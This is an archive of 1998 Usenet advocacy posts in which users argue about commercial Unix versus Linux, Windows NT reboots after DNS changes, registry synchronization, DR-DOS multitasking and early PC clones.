Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <uQEc2.1649$WZ6.4080317@ptah.visi.com> <74va0v$cou$1@wuff.mayn.de> <y1uaf0rr02y.fsf@acuson.com> <3674c514.0@uni-wuerzburg.de>
From: Darin Johnson <darin@usa.net.nospam>
Message-ID: <y1uvhjephbw.fsf@acuson.com>
Organization: Acuson Corp
Date: 14 Dec 1998 13:02:59 -0800
NNTP-Posting-Date: Mon, 14 Dec 1998 13:03:47 PDT
token@cip.informatik.uni-wuerzburg.de (Matthias Buelow) writes:
> >The only higher quality you get with the commercial unixes are more
> >gloss to the docs and more availability of commercial applications).
>
> They're more reliable, give more performance, have more functionality
> and often come with better software (DEC's compiler vs. gcc, for
> example). There might be counter-examples, like SCO's OpenSewer, but
> one doesn't use these, of course :P.
I have never noticed higher reliability with commercial unixes.
(don't know about modern DEC unixen) HP 10 and Solaris are huge,
bloated, slow, and still crash. AIX is so non-UNIX-ish I wonder why
it's even in the UNIX category at times. Getting HP or IBM to respond
to bugs is slow and arduous (Sun at least seems to be responsive).
Linux has extremely good performance. What in Linux is slow compared
to commercial UNIXen? (hmm, maybe X servers)
For functionality, HP comes with a minimal set of tools. Yeah, with
commercial unixen you get some esoteric things like journalled file
systems, but never the same on any two commercial offerings. What you
get are just differentiators. The commercial unixen often offer some
bundled applications (AnswerBook, CDE), but they've rarely impressed
me and don't make up for the lack of complete or solid core tools.
Some unix compilers are better than gcc, but only the unbundled
compilers that you have to pay through the nose for. Why does no one
compare a bare bones commercial unix with a bare bones linux? Sure,
if you spend a lot of money, you can often get better software.
On the other hand, I've never had Linux crash on me when running a
stable kernel. (of course I realize this has happened to others)
I have had commercial UNIX boxes crash on me a lot
--
Darin Johnson
Gravity is a harsh mistress -- The Tick
From: sang@isomedia.com.remove.this.com (Sang K. Choe)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 21:39:10 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <3675851d.1290680718@news.isomedia.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <750j9i$nbh$1@wuff.mayn.de> <3673e424.3043095@news2.asan.com> <3674BA41.9F874D97@brown.edu>
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On Mon, 14 Dec 1998 03:12:04 -0400, Ben White
<benjamin_white@brown.edu> wrote:
>Willy wrote:
>> >You never change the routing table, or configure a different nameserver?
>>
>> No. I haven't had need to touch the routing table and my ISP assigns
>> the nameserver along with the IP. Pretty cool, huh? The NT servers
>> and NT workstations at my office are setup the same way.
>
>Good for you. But what about your ISP? If their nameserver goes down or they
>change nameservers, they need to change the nameserver info on their servers
>to point to another machine. Why should that require a reboot?
It doesn't.
I'm not sure where you got that idea that changing DNS setting under
NT requires a reboot, but this doesn't. Nor does changing routing
tables.
There are certain things that does require rebooting, but most changes
to the IP configuration do not--and even those that claim to require
it, usually requires nothing more than rebinding the interfaces.
----------------------------------------------
My views are my own.
From: sang@isomedia.com.remove.this.com (Sang K. Choe)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 21:43:31 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <367885ea.1290885984@news.isomedia.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <750j9i$nbh$1@wuff.mayn.de> <3673e424.3043095@news2.asan.com> <3674BA41.9F874D97@brown.edu> <3675260e.3546429@news2.asan.com>
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On Mon, 14 Dec 1998 14:58:14 GMT, willy1@rocketmail.com (Willy) wrote:
>>Good for you. But what about your ISP? If their nameserver goes down or they
>>change nameservers, they need to change the nameserver info on their servers
>>to point to another machine. Why should that require a reboot? Do you want to
>>be down -- even if only for a few minutes? What if you're a e-business taking
>>orders online and potential clients can't reach you because you are having to
>>reboot your server. Pretty cool, huh? I think not.
>
>They are correct in rebooting.
No they are not.
>If they change their DNS information,
>there's absolutely no way for me, as a workstation, to get that new
>information.
You can simply refresh the binding information. You can use the
'ipconfig' utility to do this.
-- Sang.
----------------------------------------------
My views are my own.
Sender: token@aruba.informatik.uni-wuerzburg.de
In-reply-to: Darin Johnson's message of 14 Dec 1998 13:02:59 -0800
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
References: <36717987.21076075@news2.asan.com>
<uQEc2.1649$WZ6.4080317@ptah.visi.com> <74va0v$cou$1@wuff.mayn.de>
<y1uaf0rr02y.fsf@acuson.com> <3674c514.0@uni-wuerzburg.de>
<y1uvhjephbw.fsf@acuson.com>
From: token@cip.informatik.uni-wuerzburg.de (Matthias Buelow)
Date: 14 Dec 1998 23:14:20 +0100
Message-ID: <ye090gape0z.fsf@aruba.informatik.uni-wuerzburg.de>
Organization: Universitas Herbipolensis / Germany
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In article <y1uvhjephbw.fsf@acuson.com>
Darin Johnson <darin@usa.net.nospam> writes:
>Linux has extremely good performance. What in Linux is slow compared
>to commercial UNIXen? (hmm, maybe X servers)
You'll notice it if you load a gnu/linux machine a bit more than
a little. For example Solaris scales extremely well on SMP
architectures. Linux doesn't even come near to this.
Some Unix system have really high-performance, fully functional robust
(== not as many fragment reassembly buffer overruns etc.) IP stacks.
This is still an area of (possible) high development in Linux (or
rather, for polishing the reimplementation of the wheel).
Also process scheduling does not work very well, I get much better
results on BSD systems for example (of which some are also freely
available).
--
Matthias K. Buelow * Boycott Micro$oft, see http://www.vcnet.com/bms/ *
From: wizard@mousam-river.com (John T Maguire)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Mon, 14 Dec 1998 22:43:32 GMT
Organization: Mousam River Software
Message-ID: <36757edb.31929802@news.int-usa.net>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <hoye.1NOSPAM-ya02408000R1212980328240001@nntp.service.ohio-state.edu> <3675108E.76F17B0F@cadence.com>
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On Mon, 14 Dec 1998 13:20:14 +0000, Simon Kinahan <simonk@cadence.com>
wrote:
>> In article <3671C95D.366D2F67@tone.ca>, michael@tone.ca wrote:
>>
>> IBM didn't "decide to make it an open system" - it was
>> reverse-engineered by a competitor and the clones began (See "Triumph of
>> the Nerds", PBS)
>
Compaq was NOT the first clone marketed, no matter what ROTN said. It
was the THIRD.
>The BIOS was reverse engineered by Compaq when they made the first portable
>PCs. IBM did not intend the architecture to be cloneable, but they did
>intend it to be 'open' in the sense that they told people how to make
>expansion cards for the PC.
>
Quite a few non-bios compatible clones were out at the time too - Wang
Pro Workstations, Tandy 1000s and 1000As - that would run a custom
MS-DOS - the Tandy's could use SOME PC cards...
John T Maguire
Mousam River Software, Mousam River BBS - Home of Mutley's Page!
http://www.mousam-river.com
Visiting Maine? Drop by http://www.kportmaine.com
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 14:59:19 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77b627.cq2.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com>
On Mon, 14 Dec 1998 21:52:55 GMT, Sang K. Choe <sang@isomedia.com.remove.this.com> wrote:
>On 14 Dec 98 21:18:42 GMT, token@cip.informatik.uni-wuerzburg.de
>(Matthias Buelow) wrote:
>
>>In article <367576aa.24105942@news2.asan.com>,
>>Willy <willy1@rocketmail.com> wrote:
>>
>>>>What an abominable kludge; Windoze stores all app's stuff in one
>>>>single database and doesn't even provide methods for synchronization.
>>>
>>>It's doesn't need a synchronization method. The registry is always
>>>there you; just have to read it. However, Microsoft can't control
>>>what other application developers do. So they request a reboot in
>>>order to not cause any problems.
>>
>>You do not understand; Windoze should provide an API for proper
>>accessing and synchronizing the registry (I don't know actually if
>>it does -- according to your description it doesn't). So if certain
>>entries are being modified, the applications that depend on these
>>ought to receive a certain signal or event so that they reload parameters
>>from the registry.
>
>The mechanism is available. There are a set of APIs designed
>specifically to deal with the Registry--and one of them allows a
>process to monitor a particular subtree of the hive and get a
>notification if anything changes (write time, new entries, deletion of
>an entry, etc...).
>
>However, the problem isn't "is the mechanism available", it's "do the
>programs take advantage of it"? Typically, the answer is a resounding
This tends to support my assertion that the Windows registry
is the MacOS (non-premptive multtasking, 'kinda' protected
memory) analog sort of toy database...
[deletia]
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Mon, 14 Dec 1998 23:22:45 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <7546k2$rhg$1@nnrp1.dejanews.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com>
In article <19981213123438840862@ts2-18.aug.com>,
nojunkhattonr@aug.com (Rick) wrote:
> Michael J. Peck <mjpeck@nstar.net> wrote:
[ ... ]
> .. and every single Unix or Unix variant includes everything listed
> above in every distributon?
Of course not. MJP's list was his opinion of "what is a good Unix".
Excluding the X Windows category, MOXS meets very nearly every single criteria
listed. I don't know what Apple's doing about X, but I'd imagine that X will
be available as an option or add-on product from Apple, and I know third-party
versions are around.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 23:42:18 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <7547op$sjs$1@nnrp1.dejanews.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <750j9i$nbh$1@wuff.mayn.de> <3673e424.3043095@news2.asan.com> <3674BA41.9F874D97@brown.edu> <3675260e.3546429@news2.asan.com>
In article <3675260e.3546429@news2.asan.com>,
willy1@rocketmail.com (Willy) wrote:
[ ... ]
> They are correct in rebooting. If they change their DNS information,
> there's absolutely no way for me, as a workstation, to get that new
> information. I have to get thrown off so that I can log on again to
> get the new configuration. How else am I to know of the new
> nameserver info?
On better-behaved systems than Windows NT, "ndc restart" or "kill -HUP `cat
/etc/named.pid`".
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com>
Organization: NIL
From: token@cip.informatik.uni-wuerzburg.de (Matthias Buelow)
Message-ID: <367580b2.0@uni-wuerzburg.de>
Date: 14 Dec 98 21:18:42 GMT
In article <367576aa.24105942@news2.asan.com>,
Willy <willy1@rocketmail.com> wrote:
>>What an abominable kludge; Windoze stores all app's stuff in one
>>single database and doesn't even provide methods for synchronization.
>
>It's doesn't need a synchronization method. The registry is always
>there you; just have to read it. However, Microsoft can't control
>what other application developers do. So they request a reboot in
>order to not cause any problems.
You do not understand; Windoze should provide an API for proper
accessing and synchronizing the registry (I don't know actually if
it does -- according to your description it doesn't). So if certain
entries are being modified, the applications that depend on these
ought to receive a certain signal or event so that they reload parameters
from the registry. This obviously isn't done. And what's really
braindead according to your description is that it isn't just enough to
restart certain applications - no, you have to reboot the entire system.
>Large applications from Lotus and IBM (and others) do the same.
How should they behave correctly if that behaviour isn't possible with
the underlying operating system.
--
Matthias K. Buelow * Boycott Micro$oft, see http://www.vcnet.com/bms/ *
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Registry Synchronization?
Message-ID: <petrichF3z4KB.8uM@netcom.com>
Organization: Netcom
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com>
Date: Mon, 14 Dec 1998 21:19:23 GMT
Sender: petrich@netcom18.netcom.com
In article <367576aa.24105942@news2.asan.com>,
Willy <willy1@rocketmail.com> wrote:
>On 14 Dec 98 19:14:24 GMT, in comp.os.ms-windows.advocacy
>token@cip.informatik.uni-wuerzburg.de (Matthias Buelow) wrote:
>>What an abominable kludge; Windoze stores all app's stuff in one
>>single database and doesn't even provide methods for synchronization.
>It's doesn't need a synchronization method. The registry is always
>there you; just have to read it. ...
True, no synchronization is necessary if one only wants to read
it, but if one wishes to write into it (add a key, delete a key, change
value of key), that's where synchronization is necessary. It's the sort
of thing that gets covered in elementary OS-design textbooks. Two solutions:
Some sort of exclusive-write-access semaphore; when a process wants to
write to the Registry, it tries to grab it, and waits for its current
holder to finish, if need be.
Some server process with the exclusive right to write to the Registry;
all processes send their write requests to that server process.
Which one of these (if any) does M$ use?
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <slrn77900a.oml.float@interport.net>
From: bhurt@visi.com (Brian Hurt)
Message-ID: <vohd2.2010$WZ6.5318970@ptah.visi.com>
Date: Mon, 14 Dec 1998 23:43:23 GMT
NNTP-Posting-Date: Mon, 14 Dec 1998 17:43:23 CDT
float@interport.net (void) writes:
>Perhaps programmers should be required to do either systems programming,
>tech support or system administration before they're allowed to write
>applications.
I don't know- I like this suggestion. But then again, I have done all
three.
You know what? I don't care if Outlook thinks "Van" is a middle name or
just part of the last name. I just wish the rules would recognize that
"Marty McFly" <mcfly@aol.com> and "Clint Eastwood" <mcfly@aol.com> were
the same person (like the RFC says- you ignore the name, you look at the
email address). This would allow me to write rules which move all my
mailing lists into seperate folders, and keep my inbox down to a
reasonable size.
Which is typical Microsoft- doing well what doesn't need to be done but
which shows off at trade shows real well ("Look- it even recognizes that
the Van was part of the last name!") and dropping the ball on what does
need to be done.
Brian
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Mon, 14 Dec 1998 23:52:06 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <7548b4$t54$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74u5bd$bb4@news1.panix.com> <74uemb$2jf$1@jetsam.uits.indiana.edu> <74v2bp$jd5$1@remarQ.com> <750ii1$6hm$1@jetsam.uits.indiana.edu> <367450F3.A0794FF8@ncal.verio.com>
In article <367450F3.A0794FF8@ncal.verio.com>,
mpaque@ncal.verio.com wrote:
> Gregory Loren Hansen wrote:
>> And I suppose "me" have my own home directory, so if I really wanted to I
>> could leave that open for public use, but log into my own
>> password-protected account by choosing some kind of login option from
>> "me"'s account?
>
> Even easier would be to have the Setup Assistant run during installation
> offer a choice of login panel or autologin to an account you specify,
> whether new, existing, local, or on the network. Easier than trying to
> cook up some sort of patch...
True, but I think Gregory was asking about preserving the autologin behavior
normally, but still allow a GUI login to other password-protected accounts if
desired.
And such an option exists (existed?)-- hold down the mouse button when logging
out of "me", and you'll get a login prompt instead of being autologged back
into "me".
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
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From: jansens_at_ibm_dot_net (Karel Jansens)
Message-ID: <L9BY9tzSDwrQ-pn2-kWLxrXEu1Wsk@localhost>
Newsgroups: comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy,comp.os.linux.advocacy
Subject: Re: M$: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <3673e51c.3291382@news2.asan.com> <199812131458381360696@ts2-18.aug.com> <367434cd.1058311@news2.asan.com> <36750C07.406C0211@ix.netcom.com> <36751c24.1008860@news2.asan.com> <3675528A.5C1F756F@cadence.com> <36755e23.17903984@news2.asan.com>
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Date: 15 Dec 1998 00:05:11 GMT
Organization: IBM.NET
On Mon, 14 Dec 1998 18:54:13, willy1@rocketmail.com (Willy) wrote:
> On Mon, 14 Dec 1998 18:01:46 +0000, in comp.os.ms-windows.advocacy
> Simon Kinahan <simonk@cadence.com> wrote:
>
> >I beleive DR used to have a genuinely preemptive version of DOS called
> >C-DOS. Maybe that was combined into DR-DOS at some point ? I don't know how
> >many applications it worked with, but it seemed like a good idea to me.
>
> That does sound like a good idea. If they did ever do it, it
> certainly wasn't in DR-DOS 5 or 6.
DR-DOS went multitasking after Novell had bought it. It was 'marketed' (if
anybody ever noticed it, that is) as Novell DOS 7.0.
Later Caldera bought it from Novell and renamed it first to OpenDOS, and
now back to DR-DOS. I think they're at version 7.2 now and it still
multitasks happily (no windowing, consile switches with ALT+FN).
As for better or worse than Win9x: I think even CP/M multitasked better
than Win9x, but that's my personal opinion, of course.
Karel Jansens
jansens_at_ibm_dot_net
=======================================================
"I'm just more practically gifted," said Wobbler.
"You mean you just press keys until something happens."
"Well? Often things do happen."
(Johnny and the Dead - Terry Pratchett)
=======================================================
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 13:11:01 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77avn5.c4b.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <750j9i$nbh$1@wuff.mayn.de> <36753A45.AE394E33@cadence.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com>
On Mon, 14 Dec 1998 20:40:15 GMT, Willy <willy1@rocketmail.com> wrote:
>On 14 Dec 98 19:14:24 GMT, in comp.os.ms-windows.advocacy
>token@cip.informatik.uni-wuerzburg.de (Matthias Buelow) wrote:
>
>>What an abominable kludge; Windoze stores all app's stuff in one
>>single database and doesn't even provide methods for synchronization.
>
>It's doesn't need a synchronization method. The registry is always
>there you; just have to read it. However, Microsoft can't control
>what other application developers do. So they request a reboot in
>order to not cause any problems.
That's why it's a good idea to assume the world to be
nasty hostile place and design accordingly like DEC
and Unix designers do...
>
>Large applications from Lotus and IBM (and others) do the same.
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
From: Tim Kelley <tpkelley@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 19:07:59 -0600
Organization: ICGNetcom
Message-ID: <3675B66F.A9B2AE66@ix.netcom.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <3673e51c.3291382@news2.asan.com> <199812131458381360696@ts2-18.aug.com> <367434cd.1058311@news2.asan.com> <36750C07.406C0211@ix.netcom.com> <36751c24.1008860@news2.asan.com>
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Willy wrote:
>
> >-multi tasking, much better multi tasking than Win3x, some cases better
> >than 95
>
> Multi-tasking???? What are you talking about??? This was DOS! If
> you're taking about the task-switcher, well, it was interesting but it
> didn't work well with applications that used upper memory or EMS. It
> certainly wasn't better than Win31 since Win31 pre-emptively
> multitasked DOS boxes (why they didn't do that with Windows apps, I'll
> never know.) You could recover from a crashed DOS application in
> Win31. If an app crashed with the task-switcher, your entire machine
> crashed.
OK, I'm referring to the new version of DRDOS (7.02). It can multi task
in some situations; as long as there are no DPMI programs running, it
will multi task them (windows 3x is the same way).
Try it - format a floppy in one session and print something in another.
> >-no "incorrect DOS version" nonsense
> That's an application issue.
It is a MICROSOFT issue. they didn't HAVE to give us that annoyance,
but they did, just to fsck everyone over. I don't know how many
headaches that one caused me.
> >-much better utilities (compare mem, fdisk, etc. from both)
> I'd say "different". Their text editor was a joke. Even EDLIN was
> easier to use.
? I don't know about the original text editor ... at least it was full
screen, something MS didn't have. The current one is typical of DOS
editors.
--
Tim Kelley
tkelley@ix.netcom.com
New Orleans, LA
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: bill@bilver.magicnet.netREMOVETHIS (Bill Vermillion)
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Organization: W.J.Vermillion - Orlando / Winter Park
Message-ID: <F3zDKE.Lx2@bilver.magicnet.netREMOVETHIS>
References: <36717987.21076075@news2.asan.com> <hoye.1NOSPAM-ya02408000R1212980328240001@nntp.service.ohio-state.edu> <3675108E.76F17B0F@cadence.com> <36757edb.31929802@news.int-usa.net>
Date: Tue, 15 Dec 1998 00:33:50 GMT
In article <36757edb.31929802@news.int-usa.net>,
John T Maguire <wizard@mousam-river.com> wrote:
>On Mon, 14 Dec 1998 13:20:14 +0000, Simon Kinahan <simonk@cadence.com>
>wrote:
>
>>> In article <3671C95D.366D2F67@tone.ca>, michael@tone.ca wrote:
>>>
>>> IBM didn't "decide to make it an open system" - it was
>>> reverse-engineered by a competitor and the clones began (See "Triumph of
>>> the Nerds", PBS)
>>
>Compaq was NOT the first clone marketed, no matter what ROTN said. It
>was the THIRD.
>
>>The BIOS was reverse engineered by Compaq when they made the first portable
>>PCs. IBM did not intend the architecture to be cloneable, but they did
>>intend it to be 'open' in the sense that they told people how to make
>>expansion cards for the PC.
>Quite a few non-bios compatible clones were out at the time too - Wang
>Pro Workstations, Tandy 1000s and 1000As - that would run a custom
>MS-DOS - the Tandy's could use SOME PC cards...
The Tandy 1000 was not a clone in the normal sense of thee word, but
it was a clone of the IBM PC-Junior. IBM dropped the PCJ before the
first 1000 was sold, so RS called it an MS-DOS compatible.
The 1000, the PCJ, a Sanyo, and some others I recall, took the top
4K of whatever amount of memory you had and put the video there.
--
Bill Vermillion bv @ wjv.com
From: "John Kheit" <jkheit@uco-iplaw.com>
Newsgroups: comp.sys.next.advocacy
References: <ThCc2.250$qF5.1503104@lwnws01.ne.mediaone.net> <3672F21A.D96171F8@nstar.net> <ggWc2.636$qF5.1983297@lwnws01.ne.mediaone.net> <36743CBE.3FE7B087@nstar.net>
Subject: Re: MacOS & Windows UIs suck dung beatle dung.
Message-ID: <qjjd2.1017$qF5.2648849@lwnws01.ne.mediaone.net>
Date: Mon, 14 Dec 1998 20:58:46 -0500
NNTP-Posting-Date: Mon, 14 Dec 1998 20:54:30 EDT
Organization: Northeast Region--MediaOne
Michael J. Peck wrote in message <36743CBE.3FE7B087@nstar.net>...
>Unless, of course, you have any particular problem with...X Windows,
>perhaps? I'd be glad to get into that one again.
Gosh Michael, we're getting old and mellow. The only new gripe I have is
about being stuck using the winUI on this laptop. Unfortunately, if I
recall correctly, the only thing we can debate about the winUI is which one
of us thinks it sucks more. :) And clearly I do. ;)
From: andrew@bytecentre.com.au (Andrew Wright)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Date: Tue, 15 Dec 1998 12:08:00 +1000
Organization: The Byte Centre
Message-ID: <andrew-1512981208010001@192.168.1.164>
References: <F3ypyL.6wx@T-FCN.Net> <19981214124913.29774.00002394@ng54.aol.com>
NNTP-Posting-Date: 15 Dec 1998 02:08:10 GMT
In article <19981214124913.29774.00002394@ng54.aol.com>, willadams@aol.com
(WillAdams) wrote:
> I said:
> > I want a program launcher which will let me keep track of which
> > applications are running and which can be dragged out of the
> > way when I need the room.
>
> To which Maury replied:
> <<
> You can download them now actually. Some are excellent and also fixed my
> objections to the NeXT one (ie, holds anything). I don't know if they
> follow Kalidascope very well though.
> >>
>
> Could you provide a URL and an observation of how stable the program(s)
is/are?
Hi there. I like DragThing:
www.dragthing.com
It's ultra stable. I haven't seen it crash once, and I've been using
versions since around 1.5 a few years back on SSW 7.5.x - 8.5.1. And also
quite customisable.
--
Regards,
Andrew Wright
Message-ID: <3675C68E.F4568548@nstar.net>
Date: Mon, 14 Dec 1998 20:16:46 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <36742159.EA45364E@nstar.net> <7528dr$rfe$1@hecate.umd.edu> <3674BBCA.7BB77907@nstar.net> <36752AC8.6CD4066C@tone.ca>
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Michael wrote:
> I expect your right about MacOSX from a unix persons point of view.
>
> On the other hand my point of view is that a product will be a good unix
> when it has a sufficiently good gui that the average user can use it
> without reference to command lines. This will make MacOSX the first good
> unix so far, when it arrives.
>
> Michael (not trying to initiate a flame war, just adding another
> dimension.)
No, I understand the perspective from which you're approaching the
subject. And I think you're right, from that perspective. The issue
being discussed wasn't very specific, from the phrase "a good Unix", and
anyway I think it's well worth discussing how Unix-based systems may be
made comparable in GUI satisfaction to Windows and the MacOS. For a long
time I thought that Unix-based systems lacked compelling GUIs just
because nobody had ever bothered to fashion one, and to some extent
that's true. However, I think that there are real issues with the Unix
environment, many of which have been betrayed by recent disputes, which
make fashioning a GUI atop Unix-based systems a rather daunting and
difficult task, needful of great care and a little compromise.
MJP
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy
References: <14Nc2.20795$q15.465873@news.san.rr.com> <F3ypnu.6p0@T-FCN.Net>
Subject: Re: NEXT UI on MacOS 8.x
Message-ID: <KFjd2.20992$q15.477809@news.san.rr.com>
Date: Mon, 14 Dec 1998 18:15:47 -0800
NNTP-Posting-Date: Mon, 14 Dec 1998 18:18:18 PDT
Organization: TWC Road Runner, San Diego, CA
Maury Markowitz wrote in message ...
>In <14Nc2.20795$q15.465873@news.san.rr.com> "Ed Deans." wrote:
>> good rendition of the unused NEXTSTEP 4.0 UI.
>
> Speaking of, who had the snapshots of the UI up? I can't find that page
>any more.
John Kheit, here:
<http://people.ne.mediaone.net/jkheit/index.html>
--Ed.
Message-ID: <3675C7C4.861C5575@nstar.net>
Date: Mon, 14 Dec 1998 20:21:56 -0600
